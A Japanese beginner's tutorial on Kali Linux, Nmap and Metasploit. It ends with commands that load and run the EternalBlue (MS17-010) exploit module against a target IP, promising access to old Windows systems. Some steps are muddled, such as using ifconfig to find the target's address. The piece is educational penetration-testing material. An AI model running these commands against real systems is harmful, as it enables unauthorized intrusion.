初心者向け：Kali LinuxとMetasploitの使い方

はじめに

この記事では、IT初心者を対象に、Kali Linuxの基本操作や、Metasploit Frameworkを使用したペネトレーションテストの基礎を解説します。専門用語をなるべく避けつつ、シンプルに手順を説明します。

セキュリティに対する意識の向上や、ネットワーク脆弱性を理解することは、現代のIT社会でますます重要になっています。本記事では、これらの知識を基礎から学び、安全なIT環境を構築するための第一歩を提供します。

Kali Linuxは、セキュリティ専門家やペネトレーションテスター向けに設計されたLinuxディストリビューションです。ネットワークの脆弱性を検出し、改善策を講じるためのツールが豊富に含まれています。

Kali Linuxを使うために、VirtualBoxという仮想環境ソフトを使用します。

Kali Linuxをインストールしたら、基本的な操作を覚えましょう。

Kali Linuxの操作は主に”ターミナル”というコマンド入力画面で行います。

Nmapは、ネットワークのスキャンを行うツールです。これにより、ネットワーク内のデバイスやポートの状況を確認できます。

Nmapの確認
- ターミナルで以下のコマンドを入力してNmapがインストールされているか確認します
  nmap --version
スキャンの実行
- ローカルネットワークをスキャンするには以下のコマンドを使用します
  nmap -sP 192.168.1.0/24
- 結果にはネットワーク内のデバイスリストが表示されます。

Metasploit Frameworkは、脆弱性を検出し、攻撃のシミュレーションを行うためのツールです。

ターゲットを設定
- 仮想ネットワーク内のターゲットIPアドレスを確認します。
  ifconfig
  - 出力例：
    inet 192.168.1.5 # 自分のIPアドレス
脆弱性スキャンの実行
- 以下のコマンドでポートスキャンモジュールをロードします
  use auxiliary/scanner/portscan/tcp
- ターゲットIPを指定：
  set RHOSTS 192.168.1.10
- 指定したIPのポートスキャンが行われます。
  - 成功すると、以下のようなメッセージが表示されます
    RHOSTS => 192.168.1.10
- runコマンドでスキャンが開始されます。

脆弱性の利用
- 例として、ターゲットが古いWindowsシステムであれば以下を使用します
  use exploit/windows/smb/ms17_010_eternalblue
  set RHOST 192.168.1.10
  run
- 成功するとターゲットシステムにアクセスできます。